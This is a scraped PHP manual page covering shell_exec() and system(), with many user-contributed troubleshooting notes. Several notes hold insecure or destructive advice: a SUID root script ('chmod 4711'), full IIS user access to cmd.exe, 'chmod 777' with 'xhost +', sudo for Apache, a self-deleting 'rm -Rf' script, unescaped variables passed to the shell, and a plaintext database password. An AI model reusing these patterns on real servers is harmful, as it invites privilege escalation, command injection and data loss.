2. You are absolutely insane if you decide to run apache as root.  You may as well kick yourself in the face.  There is always a better way to do it.

3. If you decide to use a SUID it is best not to SUID a script.  SUID is disabled for scripts on many flavors of Unix.  SUID scripts open up security holes, so you don't always want to go this route even if it is an option.  Write a simple binary and elevate the privileges of the binary as a SUID.  In my own opinion it is a horrible idea to pass a system command through a SUID-- ie have the SUID accept the name of a command as a parameter.  You may as well run Apache as root!
snoj-wwwposter at latitude dot li 29-Sep-2004 02:53
if the script you want to run from shell_exec needs more permissions than the webserver has (for example script needs root priviliges, do:

# chown root:root
# chmod 4711!

of course, replace root:root with the user that the script needs to run as and tweek the chmod for your security policy.

!! be careful about what the script does!  remember it has root privilige!
James McCormack 05-Aug-2004 01:50
I had a perl program which ran fine from command line but not using shell_exec(), exec() or system() - nothing was being returned. I was using the full path and permissions were set correctly.

It turned out the perl program was using more memory than my PHP.INI file was set to allow. Increasing "memory_limit" solved the problem.
leaetherstrip at inbox dot ru 08-Jul-2004 02:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use 'cacls' command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
vsuarez at vorealis dot com 30-Jun-2004 06:34
Got the error "Unable to execute..." when trying to run an external program with shell_exec under Windows XP, IIS 5, php 4.3.7  Solved by giving the IIS user (IUSR_...) execution privileges on the system file %systemroot%\system32\cmd.exe  This should be used carefully because may represent a server's security hole.
dj-bj at gmx dot net 17-Mar-2004 05:22
shell_exec passes the result to a variable only if the result of the command is true.

When the result is false the generated page contains the error string in clear text at the position the result was fetched (which can differ from reload to reload).

If you would like to recieve also the error messages append 2>&1 to the end of the command you are executing.
However, the result is also passed to the page directly.

To avoid page destruction you should not fetch the result in your script.
By appending >nul to the shell command you can hide any output.
Hope this helps.
Martin Rampersad 11-Jan-2004 01:13
I have PHP (CGI) and Apache. I also shell_exec() shell scripts which use PHP CLI. This combination destroys the string value returned from the call. I get binary garbage.  Shell scripts that start with #!/usr/bin/bash return their output properly.

A solution is to force a clean environment.  PHP CLI no longer had the CGI environment variables to choke on.

<?php

// Binary garbage.
$ExhibitA = shell_exec('/home/www/myscript');

// Perfect.
$ExhibitB = shell_exec('env -i /home/www/myscript');

?>

-- start /home/www/myscript
#!/usr/local/bin/phpcli
<?php

echo("Output.\n");

?>
-- end /home/www/myscript
spagmoid at yahoo dot NOSPAMcom 17-Dec-2003 02:52
Note that whatever you run with this function seems to use PHP memory, so it will die if it exceeds the limit (usually 8 megs)  To do database dumps or other memory-hogging operations use something like system() instead.
jessop <AT> bigfoot <DOT> com 03-Dec-2003 12:19
Just a quick reminder for those trying to use shell_exec on a unix-type platform and can't seem to get it to work. PHP executes as the web user on the system (generally www for Apache), so you need to make sure that the web user has rights to whatever files or directories that you are trying to use in the shell_exec command. Other wise, it won't appear to be doing anything.
ericphp at shepard dot com 23-Nov-2003 02:45
I had major problems getting sell_exec() to work from PHP. It was working fine via the Telnet command line.

Turns out (for me anyway) it was a pathing problem. I'm set up on a VPS FreeBSD server the does not (technically) have root access.

PHP needs to reference the FULL PATH to the app it's calling. But it gets more tricky than that. There may be more than one full path on a server. For instance, on mine there is:

>find ~/ -name mysqldump (VPS non-root search method)

/usr/local/bin/mysqldump
/usr/home/myusername/usr/local/bin/mysqldump
/usr/home/myusername/usr/local/mysql-3.23.41/bin/mysqldump
/usr/home/myusername/usr/local/mysql-3.23.43/bin/mysqldump

Turns out (after 5 hours of hair pulling fun) that /usr/home/myusername/usr/local/mysql-3.23.43/bin/mysqldump was the winner.

The same applies to using cURL and PHP via Cron. /usr/home/myusername/usr/local/curl-7.10.5/bin/curl  works for me there.

And tar wouldn't work until I dug up PHPTAR /usr/home/myusername/usr/local/bin/phptar. Never new that existed ...

Good luck.
moneyboi at fuckwindows dot com 16-Jul-2003 06:46
shell_exec("yourscript.sh") is great for opening shell scripts.
eremi at eremi dot net 09-Jun-2003 10:29
To output the command has it should be, you can do the str_replace trick above, or you can put the output in a <pre> tag.

Example:
<?php
  $output = shell_exec("[command]");
  echo "<pre>$output</pre>";
?>
Ben 04-Jun-2003 10:01
When running subprocesses via shell_exec (and maybe others) from Apache/mod_php4, Apache's environment variables don't seem to be passed on to the subprocess environment unless you specifically force them by using putenv something like this:

$remaddr = getenv("REMOTE_ADDR");
putenv("REMOTE_ADDR=$remaddr");
shell_exec("/path/to/subprocess");
dan at mathjunkies.com 15-Apr-2003 09:02
Just a note for anybody who's box is involuntarily running in safemode (i.e. you buy space on a server), or just not working right.  Shell commands won't work.  You can, however, use PHPs FTP functions to FTP in.  I was copying files and making directories, but I assume there might be a way to do something more complex.
mcbeth at broggs dot org 14-Apr-2003 02:18
As far as error checking on the last example.  Several of the shells have the && operator, so you just string your commands together using it instead of ; If at any time any of the programs fail, you will return without running the rest
ron dot petty at unigeek dot com 21-Mar-2003 11:40
Here is an example on how to install software using php

shell_exec("cd /usr/local/src/; gunzip program.tar.gz; tar xvf program.tar; cd program; ./configure; make; make install);

Now depending if your root or not some commands like "make install" may fail.  This doesn't do any error checking, the reason for that is I do not know how to cd to a directory and then execute another command unless they are in the same shell.

So basically, take what you type on the command line and string them together.
bruce at accumatics dot com 01-Feb-2003 09:24
If you're not getting any output from echo shellexec( "count.pl" ) [for instance], at least try "./count.pl" before bothering with the full path.
flame 29-Jan-2003 06:21
add  '2>&1' to the end of your shell command to have STDERR returned as well as STDOUT.

$shell_return = shell_exec($shell_command." 2>&1");
ryon -at- ryon labaw -dot- com 17-Jan-2003 12:47
Note: You cant used shell_exec() when safemode = on (its disabled), instead use
exec() and copy the needed program into the /nonexec directory (by default, set in php.ini).
dj-bj at gmx dot net 17-Dec-2002 06:27
Running PHP 4.2.3 on Windows 2000 Server shell_exec works fine and passes its output to the variable when the result of the executed command is true.
However, if the command fails and the DOS-shell returns an error the result is no longer availiable in the variable but is passed directly to the page.
yaacov at pleasedontspamme dot spam 29-Oct-2002 10:46
If you're running scripts or commands and can't figure out what's not working, check to make sure that you're not using an alias in place of a command. PHP (quite reasonably) doesn't seem to recognise aliases.
php at chris-decker dot com 24-Jun-2002 11:12
I have found it easiest to use the following code to execute a shell command and return all of it's output (not just the last line) to the user as if he/she were sitting at the terminal:

$output = shell_exec("$command");
echo(nl2br($output));
matt_smith&uconn_edu 18-Jun-2002 09:51
Re: executing scripts that work on command line, but not from PHP system() calls -- Make sure you include the full path to the executable.
tonysb at gmx dot net 30-Mar-2002 12:57
shell_exec is extremely useful as a substitute for the virtual() function where unavailable (Microsoft IIS for example). All you have to do is remove the content type string sent in the header:

<?
$mstrng = shell_exec('yourcgiscript.cgi');
$mstrng = ereg_replace( "Content-type: text/html", "", $mstrng );
echo $mstrng;
?>

This works fine for me as a substitute for SSI or the virtual() func.

Anton Babadjanov
http://www.vbcn.com.ar
proc_terminate
system
Program execution Functions


Execute an external program and display the output

shell_exec
Semaphore
Program execution Functions
PHP Manual

system

(PHP 4, PHP 5)

system — Execute an external program and display the output

Description

string system ( string $command [, int &$return_var ] )

system() is just like the C version of the function in that it executes the given command and outputs the result.

The system() call also tries to automatically flush the web server's output buffer after each line of output if PHP is running as a server module.

If you need to execute a command and have all the data from the command passed directly back without any interference, use the passthru() function.

Parameters

command

The command that will be executed.

return_var

If the return_var argument is present, then the return status of the executed command will be written to this variable.

Return Values

Returns the last line of the command output on success, and FALSE on failure.

Examples

Example #1 system() example

<?php
echo '<pre>';

// Outputs all the result of shellcommand "ls", and returns
// the last output line into $last_line. Stores the return value
// of the shell command in $retval.
$last_line = system('ls', $retval);

// Printing additional info
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

Notes

Warning

When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.

Note:

If a program is started with this function, in order for it to continue running in the background, the output of the program must be redirected to a file or another output stream. Failing to do so will cause PHP to hang until the execution of the program ends.

Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable.

Warning

With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x.

See Also

  • exec() - Execute an external program
  • passthru() - Execute an external program and display raw output
  • popen() - Opens process file pointer
  • escapeshellcmd() - Escape shell metacharacters
  • pcntl_exec() - Executes specified program in current process space
  • backtick operator

User Contributed Notes

Anonymous 18-Feb-2011 07:13
From  WIDOWS to  start multilpe php scripts  from  a parent script and do not wait for child scripts to finish, from the parent.php creat  a X.bat file that contains all the commands to start child objects, something like:

start /B C:/[path_to_php]/php -f C:/child1.php > C:/[path_to_log1].txt
start /B C:/[path_to_php]/php -f C:/child2.php > C:/[path_to_log2].txt

and then run the X.bat width
<?php
system("CMD /C X.bat");
?>
fredericmariejoseph at gmail dot com 11-Feb-2011 09:53
Just a remark about a the fact that when you want use a variable in your system function, yous maybe find useful to call for trim() function too.
As exemple, let's take a file '/etc/config.cfg' containing the following lines :
EXEC=/usr/local/bin/enviro.sh
DIR=/home/fredmj
then you'll have to use trim() like that :

<?php
$CONFIGFILE = "/etc/config.cfg";
$DATACONFIG = file($CONFIGFILE);
foreach ($DATACONFIG as $line) {
$data = explode ('=',$line);
  switch ($data[0]) {
  case EXEC:
    $EXEC=$data[1];
  break;
   }
}

system(trim($EXEC)." --help");
?>

... in order to take into account the ' --help' argument. If not, the CR character will cut off any text after your $EXEC variable.
daveloop 11-Feb-2011 07:32
I was trying to get the server-side to beep in windows 7.  I finally found something that would work without creating my own EXE.

Create a batch file with at the CMD prompt type:

   echo @echo (Alt-7)>beep.bat

Then execute it in PHP with:

   exec ('start /MIN c:\your_path_here\beep.bat');

NOTE: The only drawback I can find is that a cmd.exe does visually flash on the system (which is why I used the /MIN to ensure it only goes to the taskbar).  Not really sure why I don't like that, but it was a side effect that I wasn't looking for.
kexianin at diyism dot com 02-Dec-2009 11:41
If you can't see any output or error from system(), shell_exec() etc, you could try this:

<?php
function my_exec($cmd, $input='')
         {$proc=proc_open($cmd, array(0=>array('pipe', 'r'), 1=>array('pipe', 'w'), 2=>array('pipe', 'w')), $pipes);
          fwrite($pipes[0], $input);fclose($pipes[0]);
          $stdout=stream_get_contents($pipes[1]);fclose($pipes[1]);
          $stderr=stream_get_contents($pipes[2]);fclose($pipes[2]);
          $rtn=proc_close($proc);
          return array('stdout'=>$stdout,
                       'stderr'=>$stderr,
                       'return'=>$rtn
                      );
         }
var_export(my_exec('echo -e $(</dev/stdin) | wc -l', 'h\\nel\\nlo'));
?>

For example, "echo shell_exec('ls');" will get nothing output,
"my_exec('ls');" will get "sh: ls: command not found",
"my_exec('/bin/ls');" will maybe get "sh: /bin/ls: Permission denied",
and the permission may be caused by selinux.
ca at php dot net dot spamtrak dot org 26-Oct-2009 12:48
If you don't want the output of your command echoed to STDOUT while using PHP for scripting (Unix/CLI) use exec() instead of system().

May apply to CGI versions, YMMV.

<?php
   $cmd = "date";

   $output = system($cmd);
   printf("System Output: $output\n");

   exec($cmd, $results);
   printf("Exec Output: {$results[0]}\n");

   /*
      Output:
            Mon Oct 26 19:30:08 EST 2009
            System Output: Mon Oct 26 19:30:08 EST 2009
            Exec Output: Mon Oct 26 19:30:08 EST 2009
   */
?>
grytolle at gmail dot com 03-May-2009 10:12
This is a work-around that makes the program run in it's own directory instead of the script's.

example usage:
<?php runAsynchronously("c:\games\jazz2\jazz2.exe","-connect 1.2.3.4"); ?>

<?php
function runAsynchronously($path,$arguments) {
    $WshShell = new COM("WScript.Shell");
    $oShellLink = $WshShell->CreateShortcut("temp.lnk");
    $oShellLink->TargetPath = $path;
    $oShellLink->Arguments = $arguments;
    $oShellLink->WorkingDirectory = dirname($path);
    $oShellLink->WindowStyle = 1;
    $oShellLink->Save();
    $oExec = $WshShell->Run("temp.lnk", 7, false);
    unset($WshShell,$oShellLink,$oExec);
    unlink("temp.lnk");
}
?>
grytolle at gmail dot com 03-May-2009 07:38
A more direct approach:

<?php
function runAsynchronously($path) {
    $WshShell = new COM("WScript.Shell");
    $oExec = $WshShell->Run(addslashes($path), 7, false);
    unset($WshShell,$oExec);
}
?>
Jan Kuchar 28-Jan-2009 09:11
I found a lot of solutions how to run app asynchronously in background, but nothig works. :( But now I have a solution.

<?php
  function runAsynchronously($path)
  {
    $WshShell = new COM("WScript.Shell");
    $spustec = getcwd()."\\_".uniqid().".php";

  #Generate PHP code to run app and save it into file $spoustec
    fwrite(($fp = fopen($spustec,"w+")),"<?php chdir(dirname(__FILE__));\$command = \"".addslashes($path)."\";echo \"Now running external program...\n\n\";system(\$command);echo \"Now deleting...\";unlink(__FILE__); ?>");
    fclose($fp);

  # Now run $spoustec -> it will start $path
    $oExec = $WshShell->Run($spustec, 7, false);
    unset($WshShell,$oExec);
  }

runAsynchronously("notepad"); // Will open notepad, but it will continue excuting the PHP code
echo "Running :)\n\n";
sleep(1);
?>

(Tested on Win7)

I spend a lot of time on it. So I hope that this will help you. P.S.: Sorry for my English. ;)
neeteex 31-Oct-2008 02:14
an example that helps me a lot : whiping a whole folder's contempt with no care about CHMOD. TAKE CARE : this script will auto-destroy himself and the whole content of it's folder, if "system()" function is enabled.

<?php
$path = dirname(__FILE__) ;

echo 'erasing ' . $path . '<br />' ;

system ("rm -Rf $path") ;

echo '<br />done'
?>
tceverling at yahoo dot co dot uk 30-Sep-2008 03:04
If you want to use multiple sets of double quotes, there is a nicer workaround than using batch files (.bat). Simply append a useless command in front.

system('[useless command] & [desired command]');

The useless command may be like "c:" or "cd".

Example:

system('c: & "C:\Program Files\..." "parameter 1" "parameter 2"');

or

exec('c: & "C:\Program Files\..." "parameter 1" "parameter 2"');
acid at acidforce dot org 26-Aug-2008 07:04
A short Note for those, who want to use the mysystem()-Function posted here earlier in Safe Mode:

The IO-Redirection doesn't seem to Work in Safe Mode. But writting a Wrapper Shell Script for your Command, which does the IO-Redirection, works just fine.

With best regards,
acid
dukeman at seagate dot com 06-Aug-2008 01:02
For novices remember that the executable has to be in a directory the server is serving or only local host will be able to access it.
al at aj8 dot org 19-Jun-2008 04:54
In response to willytk at gmail dot com, 10-Sep-2007 01:39

If imagemagick / convert from eps or pdf is not working because the gs executable is not in the apache path, you can compile imagemagick with  --with-frozenpaths

This makes imagemagick store the full path to the gs executable. The error I was getting before was
"sh: gs: command not found"
when convert was called with "-debug All"

Cheers
Alastair Battrick
Daniel Morris (danielxmorris.com) 02-Jun-2008 06:34
How to produce a system beep with PHP.

<?php
        function beep ($int_beeps = 1) {
            for ($i = 0; $i < $int_beeps; $i++): $string_beeps .= "\x07"; endfor;
            isset ($_SERVER['SERVER_PROTOCOL']) ? false : print $string_beeps;
        }

?>

This will not do anything when running through a browser, if running through a shell it will produce an audible beep $int_beeps times.  This should work on Windows, Unix, etc.
vlad dot sharanhovich at gmail dot com 09-Apr-2008 12:33
The double quote problem on Windows platform discussed earlier here in comments still present in PHP 5.2.5. You can't execute system($command) if $command contains more than 2 " chars. system('"echo" A'); works, while system('"echo" "A"'); does not. Search comment, that was a solution posted to overhaul this issue via temporary .bat file.
Dennis 21-Jan-2008 07:37
If you are writing CLI scripts in PHP and call external programs which produce some kind of progress bar you should really use passthru()  for the output of the external program to go to the terminal immediately.
Such progress bar are usually done by outputing the string with "\r" at the end, and contain no "\n". system() and friends look for "\n" before flushing the buffer. As a result, you see nothing during the lengthy operation and suddenly you get the 100% reading, because all output was buffered and quickly replayed into the terminal when the final "\n" has been seen.
tobias dot mathes at gmail dot com 16-Nov-2007 12:54
in response to: toby at globaloptima dot co dot uk

$x_test = system('export x=10;echo $x;', $retval);

var_dump($x_test);
var_dump($retval);

You need to 'assign' your 'x' with 'export', otherwise you wouldn't have it. ;-)
toby at globaloptima dot co dot uk 20-Sep-2007 02:16
Regarding Billybob's comment about multi-line system commands like this:

$commandeDB1 = system ("cd \
                       cd mysql
                       cd bin
                       mysql -uroot -pedfdiver -P3307
                       use diver_1
                          insert into cdn_flv_8(flv_file,cdn_dn_or_ip,video_path,flv_groups
    values('$fichier','130.98.61.32','/diver_edf/video_1/','0');");

First things first, this kind of mysql interaction should be taken care of with the in-built mysql or mysqli PHP libraries, it make much more sense when you see it, loads and loads of tutorials online about this exact subject:

http://php.net/mysql

See how you can do exactly the same thing without using the system command:

$link = mysql_connect('localhost', 'root', 'edfdiver');
mysql_select_db('diver_1')
mysql_query("your insert sql here");
mysql_close($link);

Also you no longer rely on MySQL being located in a certain folder, your script is cross-platform, easier to understand and generally far more robust.

Regarding multi-line statements using the system function, the only way I've done this in the past is to separate each command with a semi-colon which in some cases is useful but most of the time seems to be a really bad way of doing things (this is using Linux, BASH Shell, I expect Windows has similar mechanism).

Note that you don't seem to be able to set shell variables either, again using BASH:

x=10;echo $x

This works on the command line, running via system prints an empty line, may be possible but I've not managed it yet.

Also in your example, commands 1,2,3 and 4 are for the Operating System whilst commands 5 and 6 are for MySQL, try putting a semi-colon between each of your commands to see what happens.

My advice, if you are new-ish to PHP, is to try and avoid the system/exec/passthru functions and stick with in-built PHP libraries where-ever possible, most things you want to do can be handled by these libraries.

And additions to this are welcome, I'm no expert, just a few things I've noticed.

Toby
Billybob 13-Sep-2007 07:39
Hi

I'm a newbie in php, and I was wondering if it's possible to use multiple line with "system". Here is an example:

$commandeDB1 = system ("cd \
                       cd mysql
                       cd bin
                       mysql -uroot -pedfdiver -P3307
                       use diver_1
                          insert into cdn_flv_8(flv_file,cdn_dn_or_ip,video_path,flv_groups
    values('$fichier','130.98.61.32','/diver_edf/video_1/','0');");

Thanks
willytk at gmail dot com 10-Sep-2007 05:39
If you're having problems with getting imagemagick/convert to work with ghostscript because the gs executable isn't in the apache PATH, do the following:

To create a thumb of the first pdf page:

<?php
$command= 'export PATH=$PATH:/sw/bin; convert "files/example.pdf[0]" -thumbnail 150x150 "files/thumbs/example.png"';

$lastline = system($command,$return);
?>

Thanks entropy.ch and phpaladin!

Regards,

Willy T. Koch
Oslo, Norway
timgolding_10 at hotmail dot com 20-Jul-2007 07:19
An example of using the system to call the file command on a linux server. This script detects whether a user posted file is a jpeg, gif or png

<?PHP

$accepted_types=array("JPEG" , "GIF", "PNG");

    // The temporary filename of the file in which the uploaded file was stored on the server.
if(!empty($_FILES["uploadedfile"]))
  {
    $uploaddir = $_SERVER['DOCUMENT_ROOT']."/images/";
    $uploaddir.=basename( $_FILES['uploadedfile']['name']);

 //verfiy file using linux FILE command
 $last_line = system('file '.escapeshellarg($_FILES['uploadedfile']['tmp_name']), $retval);

 //get the file extension returned through magic database
 $splitvals=explode(' image data' ,  $last_line);
 $vals=explode(':', $splitvals[0]);
 $vals[1]=str_replace(' ','', $vals[1]);

 if (in_array($vals[1], $accepted_types))
 {
    echo $vals[1].' was accepted <br />';
        if(!file_exists($uploaddir)){
            //Copy the file to some permanent location
            if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"], $uploaddir))
             {
              echo $uploaddir." was uploaded! <br />";
             }
            else
             {
              echo "There was a problem when uploding the new file, please contact admin about this.";
             }
        }
        else echo 'This file already exists in DB please rename file before uploading';
}
}else echo $_FILES['uploadedfile']['error'].'<br />';
?>
aaron at visual-code dot com 01-Jul-2007 04:41
Regarding the running of processes in the background.  i found that after a few different attempts that this worked fine and allowed the main script to continue unhindered.

Hope that this might help someone.

$arg1 = "arg1";
$arg2 = "arg2";
$page = "/path/tothe/script/scriptToRun.php";
$args = "--arg1='".urlencode($arg2)."' --arg2 ='".urlencode($arg2)."'";
$command = "(php -c /usr/local/lib/php.ini ".$page." ".$args." &) > /dev/null";
system($command);
eis 20-Jun-2007 02:11
It should be noted, too, that "unable to fork" error in Windows also occurs if you try to send a command that's too long for cmd.exe to process.
peter at randomnity dot com 28-Mar-2007 09:09
Just a note to dan at thecsl dot org

0 and FALSE are _NOT_ the same.
You can check for false like so:

<?php
if($return_val === FALSE) {
   // ....
} else if ($return_val == 0) {
   // ...
}
// Continue...
?>
jordan314 at mailinator dot com 20-Mar-2007 12:44
z1a7n8g, your system logging to file function was really useful, but had two errors:
$line=fgets($fPtr,filesize("yourfile.php");
that line needs a second closing ')'
and:
while ($line)
returns true until your script runs out of memory. Those two lines can be combined:
while($line=fgets($fPtr,filesize("yourfile.php")));
norman_ss at hotmail dot com 08-Mar-2007 03:43
thanks to tr4nc3,

I'm trying to, from the explorer, run an access's macro and this example give me the solution:

You can execute a .bat file with the especifications that give us tr4nc3.
After, in this .bat file, you can execute msacces.exe and pass /x parameter with the name of the macro. like this:

"c:\windows\system32\cmd.exe /c <path or the msaccess.exe>" <path of the .mdb file> /x <name of the macro>"

At the end of the .bat file you have to put "exit" and the thread will end.

Thanks to tr4nc3!
dotmg at wikkàwiki dot ORG 09-Aug-2006 11:43
In system($command), $command cannot contain no more than two doublequotes. (At least with 4.3.3, on Windows). IF the path+executable name contains any space (and thus enclosed in double quotes).

<?php
 /**
  * This example works fine, there is only 2 double quotes
  */
  system ("\"c:\\program files\\myapp\\myapp.exe\" params_for_myapp");
 /**
  * This one will fail, php will complain sthg like c:\\program is not an executable
  */
  system ("\"c:\\program files\\myapp\\myapp.exe\" \"One param for myapp that contains space\"");
  //
  /**
   * If you want your script to be able to run with older version of PHP (like 4.3.3), this is a trick:
   * Save the command in a temporary file and call that file
   */
  $tmpnam = tempname($writable_dir, "temp").".bat";
  $fp = fopen ($tmpnam, "w");
  fwrite($fp, $command);
  fclose ($fp);
  system($tmpnam, $status);
  unlink($tmpnam);
?>

Note: In my preview, backslashes were gone!
dan at thecsl dot org 29-May-2006 08:45
You probably want to check your system calls for errors. The convention is to return 0  for "no error" which is the same as FALSE which can be confusing. You need to do something like:

<?php
  $cmd = "/usr/bin/pngtopnm $png_file > $pnm_file";
  system($cmd,$return_value);
  ($return_value == 0) or die("returned an error: $cmd");
?>
matt-php at cdsportland dot com 17-Jan-2006 09:15
If using Windows with IIS and you're having problems with the system() and related commands, I found the easiest way to solve it was to modify the Authentication Method for the file (or directory) that uses the call and change the anonymous access user from the default (IUSR_IMAGE) to a user with enough permissions to execute the commands in the system call.  This way, there is no need to give execute permissions to IUSR_IMAGE on cmd.exe (which opens up a security risk system-wide) or copy cmd.exe into your php directory (per the suggestions of others).  Hope this helps someone!
151408626 dot unique at servux dot org 19-Dec-2005 02:56
The documentation notes that for making a program running in the background: ... you have to make sure that the output of that program is redirected to a file or some other output stream ...

But simply redirecting the command's output to a fifo will also cause PHP to wait for the command to terminate, even if it is started in background.

After quite a bit of trial & error, however I figured out that the trick (mentioned in some other note) using parenthesis to regain control over an already redirected STDOUT does work here, too:

<?

// this will not execute the echo in background while continuing the PHP-script,
//    as one might expect
system("echo 'something' >$someFIFO &");

// however that will do the trick - the echo is run in background, waiting until the data is read
//    from the FIFO, while your PHP-script continues execution, e.g. being able to open that
//    FIFO for read without being blocked until some data will arrive!!
system("(echo 'something' >$someFIFO) >/dev/null &");

?>
cho at stunt growth dot com 03-Nov-2005 01:20
Note to the persons who suggested using backticks for gathering a return value from scripts via system().

Using Backticks is generally frowned upon for security sake.  They can be exploited more easily.

Instead, why not use the exec() function with a return parameter specified as an array type.  This will allow you to take the full string returned from your script (for example rsync) and return each line in an array.

like so:
$result = array();
exec( $cmd, &$result);
foreach ( $result as $v )
{
// parse, or do cool stuff
}

Hope this alternative brings you merriment.
vdweij at hotmail dot com 09-Aug-2005 02:41
It is possible to only capture the error stream (STERR). Here it goes...

(some_command par1 par2 > /dev/null) 3>&1 1>&2 2>&3

-First STDOUT is redirected to /dev/null.
-By using parenthesis it is possible to gain control over STERR and STOUT again.
-Then switch STERR with STOUT.

The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
Stuart Prescott 11-May-2005 10:14
Note that for stderr redirection, you have to use double quotes (") not single quotes (') for the 2>&1 part at least.

<?
//e.g. the this will NOT do what you expect:
exec('mysqldump -h localhost ...... 2>&1', $output);

//but this will:
exec("mysqldump -h localhost ...... 2>&1", $output);
?>

*sigh*

(Sounds like a PHP bug to me..., or at least buggy docs!)
phil at pjhayward.net 26-Apr-2005 01:37
On Windows XP, (possibly others)

If you are getting the unable to fork error, make sure the internet guest user has permission to read and execute the \Windows\System32\cmd.exe file.
admin at nabeelakhtar dot net 23-Apr-2005 07:13
Windows XP (IIS) users: (Unable to fork Problem)

If you receive something like:
Warning:  passthru() [function.passthru]: Unable to fork [dir] in c:\Inetpub\wwwroot\ping.php on line X

1. Copy CMD.EXE file from the Windows\System32\ folder to your PHP directory (c:\PHP\).

This should fix the problem.
cabel at panic dot com 14-Dec-2004 04:20
We were using system() to call a Cocoa command-line binary from PHP using Mac OS X. The Cocoa binary was simply not working -- no error message, no logging, nothing, it would just die within moments of  launching from the system() function and we'd get no results.

The answer now seems obvious -- we were hitting PHP's memory limit. We did not consider that PHP's memory limit would also extend to programs launched via system().

So, if your system() call is failing mysteriously and giving no results, after trying the obvious (permissions, executable, etc.) considering upping:

memory_limit

in your php.ini from 8M to something larger.
Shai Coleman 08-Dec-2004 04:11
The easiest way to run a process in the background under Windows, is to use system() with the bgrun.exe utility, available from http://www.jukkis.net/bgrun/
roga at yoopee dot de 24-Sep-2004 09:58
In combination with Zend Optimizer and Windows 2K/XP some programs may not run with system(), exec(), etc.

I tried to use a small tool for ejecting the cd tray and it did just nothing. Disabling Zend Optimizer solved it.
srawlinNOSPAM at magma dot ca 04-Sep-2004 01:29
If you are running PHP in a chroot environment then the system (and passthru) function needs /bin/sh to be located in the chroot as well.
eric_REMOVE at movementmovement_REMOVE dot com 21-May-2004 12:56
It's important to note that if you are running a series of system() commands in a loop, you need to include the second argument in order for them to run synchonously.

ie)

// this will execute process.php asynchronously; not waiting for completion before executing the next one.
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"");
}

// this will execute process.php 3 times, waiting for the prior command to complete before starting a new one
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"", $status);
}
beetung at yahoo dot com 08-Mar-2004 01:34
Under Linux
exec() doesnt follow symbolic link when interpret by httpd...

I have my /home/www/cgi-bin --> soft linked to a samba mounted directory under /mnt/Downloads/www.site.com/cgi-bin

exec("/home/www/cgi-bin/runProg $a $b");

works ok when I execute the script using > php myscript.php but fails to show the output when run via the web browser.

When I give it the exact full path without the symbolic link

exec("/mnt/Downloads/www.site.com/cgi-bin/runProg $a $b");

everything works perfectly.
mortoray at ecircle-ag dot com 04-Mar-2004 03:55
Do not use "system" if you use the "php.ini" option:
    zlib.output_compression = On

Doing so will result in the browser receiving garbage (I'm guessing the headers/buffers get confused).

Use passthru in this case, it appears to work as intended.
tr4nc3 at msn dot com 22-Feb-2004 02:42
I almost gave up trying to get Windows XP w/ Apache 2 to use either system(), or exec() to run a batch file.

If the batch file was this...

echo test > test.txt

it would work fine, creating test.txt...

but if the batch file was..

iexplore.exe "http://www.ibm.com"

I would get nothing. After hours and hours of messing around with this I figured it must be some type of permission problem. (dugh!)

Long story a little shorter.. You have to give Apache permission to "interact with the desktop".

Here's how...

Start>Run>services.msc
Right click "Apache...", select properties.
Click on the "LOG ON" tab
Check the box "Allow this service to interact with desktop"
Click OK
Restart Apache

Works great!
:D

HOPE THIS HELPS SOMEONE!
Too bad I didn't find a post like this before I figured it out myself. (I could have been working on something.)
djem at shadrinsk dot net 17-Feb-2004 05:04
BUGFIX for the mysystem() function, posted by n-jones.

<?php
function syscall($command){
    if ($proc = popen("($command)2>&1","r")){
        while (!feof($proc)) $result .= fgets($proc, 1000);
        pclose($proc);
        return $result;
        }
    }
?>

Hello from Russia! :)
djem.
diogaogv at icqmail dot com 28-Nov-2003 04:57
a really useful use for import(); while running the server at ur own machine is taking a screenshot of you desktop and showing it to the guest !!!

<?
echo system("/usr/X11R6/bin/import -window root -display localhost:0 /mnt/d/Desenvolvimento/Desenvolvimento\ WWW/import/cache/imagem.jpg -quality 30" ." 2>&1");
?>
<img src="cache/imagem.jpg">

remember to set chmod 777 to your directory (called "cache" on my code). also do "xhost +" or you r gonna get a xlib error saying that it could not connect to x server at localhost...

the code is still too simple. i've just done it. e.g. you can improve a real cache system avoying more than one screenshot in a minute while...

that is it! hope u enjoy it ( rofl... =DDD ) ...

diogo86
tomlubbock at hotmail dot com 02-Nov-2003 06:07
If you need to run root-level commands, such as to reboot a service, the utility 'sudo' will let you handle linux permissions. In our example we use 'sudo' to allow apache temporary root access to restart a service. We can then use:

system("sudo service dhcpd restart")

You also need to examine the /etc/sudoers file to specify what permissions to grant. Hope this helps someone!
morris_hirsch at hotmail dot com 16-Sep-2003 02:49
another reason to use shell_exec instead of system is when the result is multiple lines such as grep or ls

<?php

// this correctly sets answer string to all lines found
//$answer = shell_exec ("grep 'set of color names' *.php ");
//echo "answer = $answer";

// this passes all lines to output (they  show on page)
// and sets answer string to the final line
 $sys = system ("grep 'set of color names' *.php ");
 echo "sys =(($sys))";

?>

here is view/source resulting from system call

setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  //$answer = shell_exec ("grep 'set of color names' *.php ");
silly.php: $sys = system ("grep 'set of color names' *.php ");
sys =((silly.php: $sys = system ("grep 'set of color names' *.php ");))

and here is view source from using shell_exec instead

answer = setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  $answer = shell_exec ("grep 'set of color names' *.php ");
silly.php:// $sys = system ("grep 'set of color names' *.php ");
lc at _REMOVE__THIS_lc dot yi dot org 09-Sep-2003 05:24
